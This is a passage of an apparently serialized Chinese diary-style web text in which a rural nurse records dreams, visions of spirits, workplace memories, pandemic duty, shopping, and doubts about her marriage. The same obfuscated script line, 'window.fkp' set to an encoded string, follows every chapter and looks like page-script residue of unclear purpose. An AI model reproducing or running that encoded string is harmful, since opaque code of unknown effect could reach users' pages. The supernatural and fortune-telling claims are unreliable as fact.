    然后昨晚看书，也感觉到了另外一种能量，在我的脑子里。黑色的脑袋的精神能量，像另一个同事以前的。很像路易的感觉，但是路易在我的印象里，她是非常漂亮的灵魂，这个样子的灵魂和我印象里不符。也不晓得她干嘛，反正我就看我的书。后面又碰到了一堆很微小的像一团蠕动的黑色能量的跟人形差不多大的灵魂，在我的周围。但是我也不知道这是什么？我在做月子的时候碰到过这一堆东西，老师叫我要多穿衣服，做完了月子后面那个月也要穿到来。然后我就碰到了这种东西，后面感觉自己好像附体的样子，没听。然后就记住了这种的东西的样子。因为我也不知道这是什么？所以对它有印象。
    晚上的梦境，梦里面是问罗院的事，我也不知道问的什么？反正灰色的很大的灵魂。我不知道梦里的我回答了什么？梦里醒来的我。好像也把我的印象传递上去了。我对领导其实不太熟，那段时间的工资两千多的样子，然后一门不出，二门不迈，宅的很。休息有两天也一个月回家一次，其他的时间就看书睡大觉。好像是问他的情感经历，他的情感经历我不晓得。我只知道他会打篮球，和副院长一起组织医生和老师打篮球。他的灵魂也说过他喜欢他的孩子。说明他其实也喜欢那个家的。至于他究竟发生了什么，我不太懂，我只是一个微小的员工，工作人员。对领导的印象也就是他脾气还可以。没有对我发过火。可能提前知道我会走，还叫护士长好好排班。所以还行。也为我争取过宿舍。因为我的路途遥远，然后原来的房间漏水，长了好多霉，墙皮还一块一块脱落掉渣的那种，后面卫生院就盖了宿舍，然后好的东西大家都会抢，对吧！能争取到一个房间，其实很好了。后面楼顶还盖好了晒衣服的地方。总之，我对他没有怨言。工资少那是因为我的工作能力其实那个时候不算太高。经常听同事抱怨过他，也理解，因为相对于别的卫生院，员工的归属感确实比我们那时候要好。我们想要的东西很多，比如希望院长组织大家一起去爬山，玩，其他的卫生院都有。但是院长说他不能离开医院。说这个需要其他人去实现。所以他被骂。我记得哪个同事说过，我们在单位工作其实就像一家人一样，我们在自己的家里都没有那么长的时间，而在单位工作的时间比在家还长，所以希望我们会像家人一样留有很多的留念，毕竟我们也不知道我们什么时候会天各一方，曲终人散。但是没有。后面我离开了以后，老同事他们有组织过活动。朋友圈看到了照片。
    至于领导的私生活。我没怎么八卦。毕竟我以为有鬼。所以都是看书，宅，然后回家，工作。然后爬山，散步。因为那个时候在乡下。
    碰到了人家说的传闻中的人，给她打了针，但是她的灵魂是说过她会回家的。然后我就走了，干完了我给她打针，打完了就拔针这个工作，就离开了。也在走廊里听到了什么声音，但是我们医院当时有一对情侣，他们说是他们当时在那里搞出来的动静。我听到了我没有去看。那对情侣他们两个都承认了。对吧！
    不编排，不诽谤。就可以了，也不添油加醋。体质内的工作也确实不容易。你不给员工发过节福利，员工会说。会感觉在这个地方上班内心拔凉拔凉的，你不组织活动，员工会没有归属感。你发了福利，社会人群会讲，会说。你组织了活动，也会讲会说，其实也是我眼界不高。发福利，又不是不给那些卖东西的付钱，这个可以带动经济效益。好事啊。然后人家职工又可以收到东西。开心。组织活动，大家可以开心啊！有美好的回忆，对大家来说都是快乐的。像烧烤之类的。对吧！
    我也不知道为什么会突然想起他来，可能他有什么麻烦吧！希望老领导没什么麻烦。希望老领导工作顺利，阖家幸福。提升工作能力。
    眼见不一定是实，眼见也不一定是虚，耳听也不一定是实，也不一定是虚。好好工作，提升工作能力。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第273章

    梦境，这个梦境本来应该今天早上记下来的，但是太晚了，然后来不及。梦里面是一个同事，她的能量很奇怪好灰的一团，然后梦里的她好生气，我也不知道她生气什么？我不太懂，我只是下班碰到她，和她聊了一下，她说了句我不用上晚班很好，然后我说我很羡慕她有车子，很好。然后晚上就梦见她很生气。然后发生的我就不理解了，梦里面是一团白色的灵魂，可能我自己的，然后它在做一些事情好像不是很开心的样子。然后下一个梦境，梦里面是一个很大的灰色的灵魂，感觉是一个女士的，然后她说第一批灵魂使用了拔苗助长的方式，吃了什么药物。然后梦里面好多黑色的能量，就是那种很不舒服的黑色的能量，在梦里面笑。我也不知道梦里的能量笑是什么意思。然后梦里梦见了妹妹，她好像不是很开心。
    难道是生命一号，我以前学习的时候吃了这个的原因？不知道，好多小孩子都吃了这个吧！而且以前是因为亲戚说吃了这个小孩子更会吃饭，然后更会长高，所以我妈妈就买给我们用，有的人吃了成绩更好，可能体质增强了，所以少生病，注意力提升。
    但是我不知道这是什么意思？梦到这个事。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第274章

    梦境。梦境里是梦到了少数民族。她们穿的衣服很奇怪。然后我就看着她们的衣服在走。然后下一个场景，我在一个房间里数冰块，我不记得数了多少冰块了，给一个人，然后他拿了本本子本子给我，我感觉也是71，然后就在那里写字71。后面他把冰块给一些人的时候，不小心压到了我，我就和他说，叫他小心一点。我得出去。然后下一个场景。是我在少数民族的一个街道里买什么东西，好像是一朵黑玫瑰。我看我手上的塑料的，有一个小钻石。但是我觉得也还好，并没有讨厌或者喜欢。主要是我的，我就珍惜。然后我旁边有一个女孩子她拿了一个很漂亮的黑玫瑰盒子。她说她看上了我的，我说你手上的不正是我刚刚拿的吗？然后下一个场景。她在一个地方，说希望我帮她把钻石襄上去。然后梦里的我就拿着她的黑玫瑰盒子，走到一个地方，我就看到了我老公，我说老公你怎么在这里，有一个人希望我给她襄钻石。然后我从我的黑玫瑰盒子里拿了一个很大的钻石给老公。老公给他自己的盒子襄了很多钻石。但是他好像并不是很开心。然后那个美女的钻石找售后服务。然后下一个场景。梦里面在冰块那个场景里写字的笔不小心戳到了我的手，我感觉我的手好痛。然后迎面而来好像碰到了几个人，然后好像梦里在下雨。那几个人女士，说她们在拍视频。然后梦里的我很疑惑，拍视频弄到我来干什么？
    然后下一个场景是梦到了以前在卫生院的同事。同事说你怎么总考试，考的去，不要总考试。就在现在的单位好好干。然后我说我没有总考试啊！然后下一个场景就是梦到了另一个灵魂，他说叫我不要去当老师。老师的日子没什么好过的。然后我就醒了。
    这到底讲的什么。我的专业不是老师啊？怎么好几个人都说老师的事？难道他们的意思，是希望我去考教师资格证考老师，说反话的意思？有可能。现在的单位，肯定还好啊！单位又有人才公寓给我住。然后我的家公家婆都在这里。宝宝也在这里，学校就在家附近，以后小孩子上幼儿园小学中学，还有高中都非常方便，虽然没车没房，但是这日子确实还不错。如果能待的久。确实很奈斯。
    虽然工资两千左右，不高。但是我的能力确实只值这个价。其他人的更多，但是他们有额外的能力，比如领导能力，比如与人协调的能力。这些能力对我来说很艰难。
    我不知道梦里的我在考什么？
    别考走了。如果考市区，市区听说房贷压力很大。然后又离上班的地方远，幼儿园又远，然后还贵。像我们那么清贫的家庭走的去都会饿死。
    不过不晓得这是干嘛！
    最近在市区。待几天子吧！听说市区有疫情，但是我没有看新闻，不清楚具体情况。来了很多负压车，成立追阳小组。不过我们小县城不是负压车，因为我们小县城，负压车比较少，人民医院才两辆，他们有要派的去其他市区接人，需要用，中医院一辆也是要去接人，我们医院也只有一辆，也要去接人，其他医院司机不清楚，我们医院司机有的时候去其他市接人，很远很累，听说开好久的车。所以我们县来的都是普通救护车。其他地方负压车来了好多辆。至少有十辆，然后有的车一来他们就接任务工作去了。还有的人，没有酒店了，然后很晚才休息，十点多领导还在安排他们的入住之类的。
    希望真的只需要五天吧！来的时候我们领导对我们说只需要五天的时间就可以回家了。但是他上次对哪些人说只需要三天就可以回家了，结果人家搞了一个多月。所以虽然心里知道听听就好，但是还是很希望只需要五天的时间就可以搞定。
    梦境。昨日梦里还有一个场景，好像梦到了一些黑色的恶灵，但是我不知道他的意思是什么，梦里我的胸口的内衣没有了。然后我就看着他。就睡着了。然后再次梦到了那个场景，我就盖了盖被子再睡觉。我感觉好困。因为昨日练了好久的穿脱防护服，虽然我们会，但是我也很害怕我面对这个过程会很紧张。以前黄护士长教我的东西用上去了，很开心。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第275章

    梦境，梦里面梦到了一堆很奇怪的竖条纹的灵魂，好像很毛燥的感觉，然后梦里的我在给他们纸和笔，教他们画熊猫，然后他们就在画熊猫。然后下一个场景，梦里面有一千多个人，后面变成两百多个人了。后面说我们有档案需要去省会城市，我说怎么要去那么远的地方，然后我说能不能把那个信息删了它去。然后梦到了一个白色的灵魂，他的灵魂好像好疲惫不堪的感觉。不知道怎么会梦到这个。白日梦？也太能想了吧！
    好像给爸爸爷爷买衣服啊！爸爸是务农的优雅贵公子气质。真的不知道怎么买衣服耶。家公是比较皮的一个人，妈妈可能也是需要快乐的人，家婆做事干练，家公家婆就说了不买新衣服给他们。明年再说。今年就买一个电脑主机。我希望我老公给他们买其实。但是我后面又自己买了。
    挑了一早上。
    我妈妈说她以前在外面打工就吃青菜，很少买肉吃，虽然她那个时候看起来胖，但是那个时候她特别的喜欢喝雪碧，因为雪碧好像打折几块钱可以买两瓶吧！然后比喝水更划算，所以她很少买水。然后她那段时间就发胖，我不知道那个时候的我是什么感觉，反正后面我就有了很强烈的愧疚感。然后买东西稍微贵一点就会很难受，买衣服如果不给她们买心里就会很难受。家婆对我挺好的，买了我妈妈的。我家婆也得买，不然以后的日子就很难受，女人都是政治家。然后买了家婆的，奶奶的我也想要买，因为奶奶对我也很好，买了奶奶的，就要买老公奶奶的，不能厚此薄彼，不然老公会不舒服，因为我嫁给他了，久了会讨厌我，买了奶奶的，爷爷的也买，因为爷爷也对我很好，很感谢他曾经好好的教育我，虽然我的脑回路经常掰不回来，非常的清奇。买了自己爷爷的，要买老公爷爷的，不然知道了会难受。想买一套衣服恶心一下自己的臭弟弟，但是我有两个弟弟，还有老公一个弟弟，还有一个妹妹。所以为了自己的恶趣味，开心一点，就买了好多套衣服。买了自己的，老公也需要买，因为老公的衣服也很旧，我超支了443%。明年绝对不买那么多衣服。
    算了，明年的事，明年再讲吧！没一定又会控制不住。
    其实我买的衣服已经很少了，本来还想每个人再配一条裤子，鞋子。没有那么多钱了。然后我还需要买裤袜，我好像还有好几条裤袜还没有穿，还有的质量还好，不知道放到哪一个橱子里去了。前几天在家里翻衣柜，发现自己还有好多毛衣，不过我不知道那些毛衣，我能不能穿了，因为我比以前胖。没有去试，就折了一下。
    我的屁股更大了，穿裤子不算好看，以前我是没怎么在意，不知道为什么又想穿裙子，所以就买了裙子，也不知道自己穿起来好不好看。其实我没有什么鞋子来配裙子，买高跟吧！我穿了脚疼，穿运动鞋又好像不搭。纠结，穿平底的鞋子。我又不知道自己适合什么风格，我好像在模仿一个同事，但是她比我瘦比我高，比较优雅的气质。其实我感觉我比较适合运动风，虽然我不喜欢运动，平时也懒得动，但是运动风，外套骑车，吹风挡风，不冷。而且耐脏。
    明年我绝对不要买那么多衣服。过几个月过年都要吃土。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第276章

    梦境，梦到了一团黑影黑影有一个房间那么大，然后黑色的世界里，有一份名单，不过梦里我看不懂名单，梦里的灵魂在看名单，然后梦里我在骑一辆小电驴，骑到了一个人的家门口。然后电驴的帽子被我摘下来了，它的毛好长，不知道这是什么意思？那个人家的门口很像一个亲戚家，是那种土房子。反正梦里我没有进那个门。
    就醒了，不知道这是什么意思？
    那个亲戚，是娘家那边的，他们的老房子很久以前就坏了，因为修路，然后好多石头砸下来，然后那个祠堂倒塌了。后面不记得有没有搬过地方。我记得有一个亲戚也是那家住的，我的其他亲戚说过有一个叔叔，他很会读书就是在那个家长大的，他学习一直很好，很好，然后有一次很重要的考试，他就没有考好，然后他后面也是打工。她们讲的时候我感觉好像看到了他家里有黑色的一团人影，像一个女士一样的灵魂出来，在打他的脑子一样，然后他灵魂白色的部分就在发抖。然后他就回头望了一眼的感觉。反正我也不知道他看到了什么。那个时候他又不在那个场合。很神奇。还有就是他弟弟，也很好，小时候我可能还不会说话，还是沉默寡言，白日梦到了那个家里的死去的长辈，叫我告诉他，那天不要走，然后我一直说不出话来，后面他就骑自行车，出去了，被人家的卡车撞死了。好像那天知道了那个消息，大家都很难过。不知道为什么梦到了那个家，而且是老房子。不知道意思是什么？
    关于那个老房子还有一个事，小时候看见了很多奇怪的灵魂在哪里抓一个黑色的灵魂，那个灵魂很奇怪，我分不清好和坏，但是记住了这个事。有的时候，真的得认命的意思吧！比如有的人说学习很好以后就能功成名就，但是像我们这种学习很好，关键时刻就掉链子的，也只能接受命运的安排。但是我感觉还可以吧！至少我比以前快乐。就像一些命理的诗。以前我很喜欢看很悲惨的命理诗，因为总感觉自己命运太好了，太幸福太幸运了，看到了别人的难受之处，就不理解。然后就很容易对别人产生愧疚感，或者其他的念头，然后过一段时间我就会和别人一样行为处事。去理解他的难受，这样子的我时常让我感觉我有问题，但是我不知道什么问题。等以后，发现每种命运，都有命运最好的安排，有很幸福的点，后面就没有太过于难受了。
    我还是不知道怎么解决我的内疚感，也许我解决了内疚感，我就能更好的过这一生吧！可是我又挺爱这种内疚感。因为它能够让我认识某些人的不容易。但是它总是让我过的不容易。也许它在升华我的灵魂。让我对他人产生理解。感同身受。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第277章

    昨日的梦境。梦境里是一个学校，然后在学校的一角，有一个水池，有人抢我脖子上的项链，把它扔掉了水池，梦里的我把项链洗干净，然后再戴回自己脖子上。梦里的项链好像有灵魂一样，它好难过自己变得脏了，梦里的我看着没有什么感觉，是我的，我自然好好珍惜。还有一些场景，记不到了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第278章

    梦境。梦里面是一个很漂亮的绿色女人，对我说，车子要分开来。梦里我没有应，因为我们的车本来就是分开的。不知道她干嘛的。
    还有一些梦境的片段，想不起来。
    梦里有出车的场景。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第279章

    梦境。梦境里面是我们医院的领导的灵魂，他们在对哪一个灵魂道歉。我也不知道为什么他们在道歉。
    昨日，感应到了一个绿色的男士的灵魂，他笑眯眯的。头发像飘动的蝴蝶一样。不知道是干嘛的。
    然后那个场景我对他说不要来我们医院，我们医院条件不好。我也不知道他是谁，是做什么的！是精灵，还是树木的灵魂。我也不知道梦里的我为什么要这样子讲？好奇怪的灵魂。
    然后下午的时候看到了白色的灵魂叫我看点小黄文。然后看了好久。看到一个机器人的。让我想到了另一篇小说，是一个神明，他投胎投到了机器人身上，然后一个女士买了他，然后曲折离奇，最后圆满的生活。但是这篇就牛了，就是一个科学家造出来的机器人，然后他和女主角一起长大，然后被坏人抓走了，他又用自己的高超能力回到了女主角身边，然后女主角对他产生了恐惧，一系列操作的故事。后面应该也是圆满的吧！看的很累。后面机器人说他懂了爱是成全。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第280章

    梦境，梦见了一个学校，一个地方，梦到了一个人说我不好看，或者其他的，但是已经没有办法改变了，骂也就这样子。然后下一个场景，梦里看到了一页场景，那是一个医生做手术的场景。不知道啥手术，场面还打了马赛克。然后看到了巨大的影子，跟他说我和神明许愿永远不要见面。
    后面看的小说。妖族统治了人类，打仗我们没打赢，被妖族统治了，然后妖精本来是神明。然后人类对那个很厉害的妖精，产生了很强烈的绝望恐惧，那股能量，获得了意识和自主性，变成了一个人类女子，然后她和那个强大的妖精发生了关系。没写完。然后两个妖精是同一个妖精。一个来自未来，一个是过去。或者是现在。看不懂。过去的对她说他爱她，现在的就像毒蛇一样占有。女主给我的感觉就是懵懵懂懂。妖王被一个战争胜利的神明给弄死了，因为他要救他心爱的女孩子。本来胜利一直是妖精胜的，他好多次都为了救心爱的女孩子而杀死妖王。好奇葩一小黄文。
    梦境。梦里面是我们的酒店，酒店是黑色的，然后有好几辆救护车说要回家了。他们装载好了行李。图像是黑色的车是蓝色的。我也不晓得这是说明什么？还有很多石块。然后一个女孩子她的大长腿弄了一堆，排好高，支撑那个酒店的门。那个场景有点子害怕。这个意思是什么？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第281章

    奇怪的念头。看小黄文看多了吗？我突然之间会有一个念头：我想睡了我家公！然后恍惚之间看到了一个灰色的小脑袋，在一片精神空间对着我笑，好像钻进了我的思想敲下了这个念头一样，然后看到了一条黑色的长长的精神力从自己的灵魂里出来。
    我碰到鬼了？情绪小人？妖精？不知道这是什么？碰到了不断折磨人的思想和意识的灵魂，然后把我的灵魂放到哪个森林里，当猎物打死？这次会是什么？野猪？鸟？鱼？不知道。我为什么会有这样子的思想？
    很想给一个医生搭一段红线。可能看他长的好看，帅，但是这几天发现，这人很想搞事业。后面他在我眼睛里的滤镜带了一团黑色。没有了明亮的感觉，还好吧！可能这件事不用我插手。我们都是同样的人。我也懒得。
    我喜欢的女孩子比较容易嫁，欣赏的男孩子比较容易娶，我也不知道为什么会有这种奇怪的感觉。可能我太自恋了，也有可能真的就那么巧，但是这种感觉不能伪装，不能思考，必须是自然产生的，所以也挺难的。一切随缘。
    可是我看镜子里的我不是很开心。也没有讨厌的感觉，其实就是没感觉。我可能不太喜欢我自己吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第282章

    我很想看倪海厦的视频，好好学习。这个想法都好几天了，但是我并没有做到。而且一直在刷短视频。但是也在看我们必须看的继续教育。我还有几百道题没有刷完，还有大学的网课没有上。
    我应该看够小黄文了吧！
    不知道为什么这段时间需要看小黄文？看了我好久。暗度陈仓好看。两个主角，可能是青梅竹马，然后青梅她忘记了什么事，在吃抗抑郁症的药。然后把竹马给忘记了，然后他们工作以后又在一起的事。还可以。不过没有看完。后面看了一篇也是青梅竹马型的，看了一点开头，一点结尾，估计也是很好看的文，但是没有看完，好像也不太想看完，我也不知道为什么不太想看完。
    搞不懂，然后我就又搜了好多，看不下去。这种情况实在是太突然了。以前看小黄文，可是能看几天几夜的，然后缓过了那一段时间，就正常了。耳朵有耳鸣的症状。可能是肾虚吧！也有可能是熬夜太久了。
    分不清梦境还是现实。有一个小树林一样的路，那段路在以前的梦境里出现过。人家说我和我老公会不会是初恋。我说是。但是他说不是，然后就看到了一个灰色的灵魂，从身体里冒出来，像一个女孩子。我也不知道这是不是我自己。可能是，可能不是。
    还好吧！我以前又没有谈过恋爱。然后就是相亲啊！多相亲几次，你就知道自己喜欢什么样子的。万一你瞎了，人家瞎了呢？瞎猫碰到死耗子。这个世界上有很多概率。
    相亲的男孩子，我都觉得还好，有心动感，但是几乎一个星期左右，就感觉自己哪里都不对劲，总之就没有想要下一步的感觉，然后就吹了，他们几乎一个星期左右就可以找到女朋友，或者结婚。而且很顺利。没有阻碍。
    我和老公也是相亲认识的，相亲之后就是自己谈啊！又不是封建社会。然后他感觉我很不错，我感觉他也不错。总之他给我的感觉还可以，后面过了那段时间就不行了。可能熟悉了吧！没有吸引力了。可能是我的原因。最近听说有一本书叫吸引力法则。有个人看了说以前自己经常不对劲，后面他看了这本书信心满满，然后日子变得更好了。我想我要不要买一本看一看呢？或者可以找到解决这个处境的答案。
    最近的念头很糟心。灵魂的周围经常围着一团灰色的雾气。很奇怪的念头。如果我们的彩礼只需要一万块钱，那么我一定会离婚，因为成本很低。但是我们结婚的成本彩礼就十几万，成本总得三十万。那么即使不幸福不快乐，我也得待着。因为我要守着契约。之前带的那个村子，好像一个人她不肯嫁给那个人家吧！但是她娘家收了彩礼钱，她就和人私奔跑了，那个人就把她娘家人都给砍了，场面比较血腥惨烈。
    为什么会突然有这个念头呢？而且真的很突然。因为我没有感觉到我老公对我的爱意。我很想和他互动，但是他给我的意识反馈，感觉他就是在装给他爸妈看。好吧！我也在伪装给我爸妈看，不爷爷奶奶看。爷爷奶奶说他们很老了，希望能看到我的孩子出生。他呢？他希望我能对他的爸妈好，能够很好的和他的爸妈相处，他无所谓吧！我也不记得了。然后我们就谈成了。
    我姑姑说他以前有前女友，我问过他。他也说了是。但是分了，而且花了很多钱，他并没有像其他的男孩子一样，希望前女友把钱还回来。不要问为什么我会有这种思想，因为我看别人的前男友都是这样子干的。
    那个女孩子的彩礼听说比我更多，需要花五十万。然后拿不出那么多。这是他讲给我听的。我的话，我看中他什么呢？我看中他房子的位置。和算命先生讲的方位一摸一样。那个算命先生挂了。他给我算的和我遇到的事情是一模一样的。虽然我的手上有两段婚姻线，但是他并没有说我有两段婚姻。说明我也就一段。自然好好珍惜。而且梦境里，我的身体里是很多黑色的雾气一样的东西，那种东西已经有了灵魂，搞得我很难受，他是来帮我的。他说原来我等他很久了。其实我不知道什么意思。
    我们的婚姻是什么定义呢？过混日子的，各有所图。我不干涉他玩游戏，他也不干涉我看小说。人前会给面子。人后会陪你嬉戏打闹。会有很多的缺点，他有我也有，都默契的懒得讲，我讲了他他会不开心，他讲了我，我会不开心，脾气在一开始的时候就发出来了，都知道底线是什么。
    这样子的日子不好吗？不好在哪里？好在哪里？一开始我看着他玩游戏很气，很希望对方有上进心，后面就懒得了，生气不说，而且容易因为压力买更多的炸鸡，然后看到他吃，我也想吃，就不知不觉胖了几斤。我也不知道这日子好不好？只能说我比以前的我更开心。开心的原因不清楚。
    不开心的原因也有的，但是我不理解我的不开心，就像我周围围着的雾气一样。搞不懂。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第283章

    梦境。其实我感觉我没有做梦，很清醒。那个场景里是好多黑压压的灵魂。给我的感觉像一群魔鬼一样，那个场景里看到了我老公，他在叫我的名字。然后看到了学生时代的场景。
    学生时代我们一直都在努力学习。班级里的老师说我们是一群好苗子，和别人学校里，说自己的学生带过最差的一届是不同的，我们老师时常在背后说我们这一批人很优秀。但是他们没有明着讲，我听得到。所以我们班基本上也都在努力学习的那种，后面就有了一个班，他们全班插在别人班级里的。然后分流一部分人。后面就变得很奇怪了。
    后面我就认真的学习啊！其实我不知道学习的意义是什么？我那个时候思考没有想出来。也没有想出来自己适合做什么？我只知道我比较穷。以前我也并没有很爱钱，后面变得很爱省钱。抠门兔的精致生活，真的这本书很好看。价值观一下子被放开来了。后面我也去思考，这样子的一群学生也不用去管理，自主性很好，学不好人家可以去出国留学。而我那个时候看的小说比较少，如果那个时候看到了，算了没有如果。其实学习是自己的事，以前老师天天讲，学习不是为了父母，也不是为了面子，为了别人，是为了自己。那个时候听不懂，他们天天念叨我也听不懂。
    其实到现在我也不懂。姑姑总说她很遗憾以前没有好好学习，然后她结婚了以后就拼命学习。我也听不懂，就像现在的学习视频很多，随时都可以学，比原来好多了。
    以前我拼命的想找我可以学的东西，但是找不到，后面我放弃了，途径来了，但是我并不想学。
    我想知道我脑子为什么这样子？可能我的脑子里装载了很多奇怪的思想吧！有很多的技巧，学习它们可以让我得到尊重，得到别人对我的喜欢，认可。可以让领导，父母喜欢，认可。但是我知道我也不干。我为什么不干？因为我不知道这是不是我真实的想法？就像我交一个朋友，慢慢的就会长很多很多灰色的东西然后慢慢的我自己本身光亮的东西就不见了，然后慢慢变得很讨厌，那个朋友就会很讨厌我。我也好像变成了一个附庸者，没有自己的思想，很像一个傀儡娃娃！她可能有一些观点，我会选择无条件认同，可是我不喜欢无条件认同别人。可是我又会选择这样子做，慢慢的灵魂就变成了灰色的，然后慢慢的她就讨厌我了。这个玩意不知道是不是讨好性人格。我也不清楚。我只知道我保持孤独，就不会被同化。但是孤独又会让我渴望和别人一起玩，交朋友。然后周而复始。
    可能这就是心理学里面的有技巧，有乐趣有意义，才会变得很顺利。而我有技巧，没有乐趣，也没有感觉到意义，就会发现自己的灵魂变得很黑。我会感觉自己很假，在假惺惺的说话，所以那些技巧没有去学没有去用，就算自己看的懂，明白对自己有好处。乐趣，没有找到乐趣，就像我的生活一样，我没有找到乐趣，没有感觉到乐趣，也没有感觉到意义。所以感觉比以前的自己好一点，但是一团糟。
    人的力量来源于性吸引力，还有攻击性，而我没有感觉到，我的这两种能力。不知道为什么会梦见妈妈说爸爸不喜欢我的事。她说因为我不是男孩子所以爸爸不喜欢我，小时候很少抱我。但是这是梦境。她所表达的意思是什么？我不记得了。梦境有一个场景是去外婆家的一条路上，然后小时候的我看到了很可怕的灵魂，他好像在袭击了爸爸，是一个巨大的脑袋，他的五官在笑，但是他不是人类，然后爸爸让我走了，爸爸的样子很渺小。我并没有很多的感动，因为那种东西，它产生的能量，很强烈，已经盖过了人的情绪。后面想到了下一个真实的场景，那是去外婆家，外婆家里的人在说着什么，我并没有听懂，反正我感觉到了很黑暗的东西，然后我就一直哭着跑回了我自己家，一直哭一直哭，我妈妈说那么小居然还记得到路。我回家很久，她才回来。后面不记得了。我只记得我哭了很久回家了，回家之前的内容忘记了。可能是叫我妈妈改嫁的事？不知道，就是看到了一群黑色的灵魂。他们聊了什么我也不记得了。
    每次回外婆家都是一种很奇怪的感觉，我感觉我很愉快的过去，还是那种很听话的那种，然后回家的时候，就感觉自己好像被什么附体了一样，总看我爸爸不顺眼，然后有一种很强大的黑色的能量，很生气。我好像是她，但是又感觉不是，我也不知道这是什么？可能我比较容易碰到奇怪的东西。或者是情绪？
    妈妈没有讲爸爸不太喜欢我这个事的时候，我是没有什么感觉的。后面讲了也没有什么太多的感觉。他生病了没办法的事。后面学了一点点以后，突然之间也就明白了自己拧巴的状态是什么了。俄狄浦斯期没有很顺利。
